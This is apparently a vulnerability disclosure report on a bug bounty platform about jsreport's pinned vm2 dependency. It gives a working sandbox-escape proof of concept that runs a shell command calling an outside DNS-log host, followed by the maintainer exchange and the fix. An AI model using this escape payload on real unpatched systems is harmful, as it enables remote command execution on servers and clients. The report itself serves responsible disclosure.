An outdated dependency leads to to remote command execution vulnerability in jsreport/jsreport

Valid

Reported on

Apr 10th 2023


Description

A few days ago, the vm2 module of nodejs found a sandbox escape vulnerability, which was officially fixed in v3.9.15

However, a fixed vm2 version is hard-coded in the package.json(v 3.9.11) of the jsreport-core component of jsreport, which makes it impossible to install the latest vm2 every time

The relevant details and POC of this sandbox escape are publicly available:

By testing on the official playground of jsreport, it is found that the vulnerability exists

Proof of Concept

tested on jsreport official playground. playground workspace(with poc inside): https://playground.jsreport.net/w/anon/f9agld17

the html content used to generate a pdf

<style>
    th {
        font-size: 20px;
    }
    
    td, th {
        background-color: #abe81b;
        border: 3px solid #455bd0;
        padding: 10px;
        text-align: center;
    }
</style>
<table>
    <tr>
        <th>Name</th>
        <th>Age</th>
        <th>Job</th>
        <th>Random</th>
    </tr>
    {{#each people}}
        <tr>
            <td>{{name}}</td>
            <td>{{age}}</td>
            <td>{{job}}</td>
            <td>{{getRandom}}</td>
        </tr>
    {{/each}}
</table>

the js code which will be called while generating the pdf

function getRandom() {
    Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl http://zf2o8e.dnslog.cn'); 
};
(async ()=>{}).constructor('return process')()
    return Math.random()
}

Click the run button. Fom the report log on the right, you can see that curl http://zf2o8e.dnslog.cn was executed and a DNS resolution error was thrown.

Impact

jsreport allows users to convert an webpage to pdf/xslx/doc.

An attacker can use this vulnerability to obtain the authority of the jsreport playground server, or construct a malicious webpage/html file and send it to the user to attack the installed jsreport client.

From the used list of the repo, a total of more than 600 repositories depend on jsreport, and these repositories may also affected by this vulnerabilities.

We are processing your report and will contact the jsreport team within 24 hours. a month ago
Summ3r modified the report
a month ago
Summ3r submitted a
a month ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md a month ago
We have opened a pull request with a SECURITY.md for jsreport to merge. a month ago
We have contacted a member of the jsreport team and are waiting to hear back a month ago
We have sent a follow up to the jsreport team. We will try again in 7 days. a month ago
We have sent a second follow up to the jsreport team. We will try again in 10 days. 21 days ago
jsreport/jsreport maintainer
21 days ago

Maintainer


Thank you, we have updated the vulnerable dependency vm2 and fixed this in release jsreport@3.11.3

Summ3r
18 days ago

Researcher


The VM2 escape vulnerability hasn't been completely fixed yet, and all versions of VM2 prior to 3.9.16 are affected. JSReport 3.11.3 still uses VM2 version 3.9.11. Additionally, it is not recommended to hardcode version numbers unless there is a specific need to do so. Instead, it is recommended to use a semantic versioning format such as "^3.9.11", which will install the latest version of VM2 that is greater than or equal to 3.9.11 when installing through npm. This allows you to receive the latest VM2 updates and fixes if new vulnerabilities are discovered and addressed in the future.

jsreport/jsreport maintainer
18 days ago

Maintainer


Have you double-checked correctly that 3.11.3 contains vm2 < 3.9.16, i checked and it is not the case.

for example here (line 52) we can see that jsreport@3.11.3 depends on @jsreport/jsreport-core@3.11.4, and here (line 74) we cab see that vm2 is specified as 3.9.17.

another verification i did was to install jsreport@3.11.3 and check the vm2 installed, it correctly reports vm2@3.9.17 (when using npm list vm2)

We are aware of the tradeoffs of adding strict hardcode version numbers in the package.json, however, in our case, there was a specific need.. users have been bitten in the past when not using strict deps, there were dependencies introducing bugs or even breaking changes in patch releases and it was very confusing for the users to get different behavior when executing npm install at different times, so we decided to make each release more strict, and if there was a need to change something we instead want to introduce those changes on a new release

Summ3r
18 days ago

Researcher


Sorry, I may have misread the commit history, version 3.17.4 is secure. I understand your approach and thank you for promptly tracking and updating relevant dependencies and fixing the issue. Thank you again for your contributions to open source.

jsreport/jsreport maintainer validated this vulnerability 17 days ago

Thanks for the confirmation and for your time in preparing the security report

Summ3r has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
jsreport/jsreport maintainer marked this as fixed in 3.11.3 with commit afaff3 17 days ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
jsreport/jsreport maintainer published this vulnerability 17 days ago
to join this conversation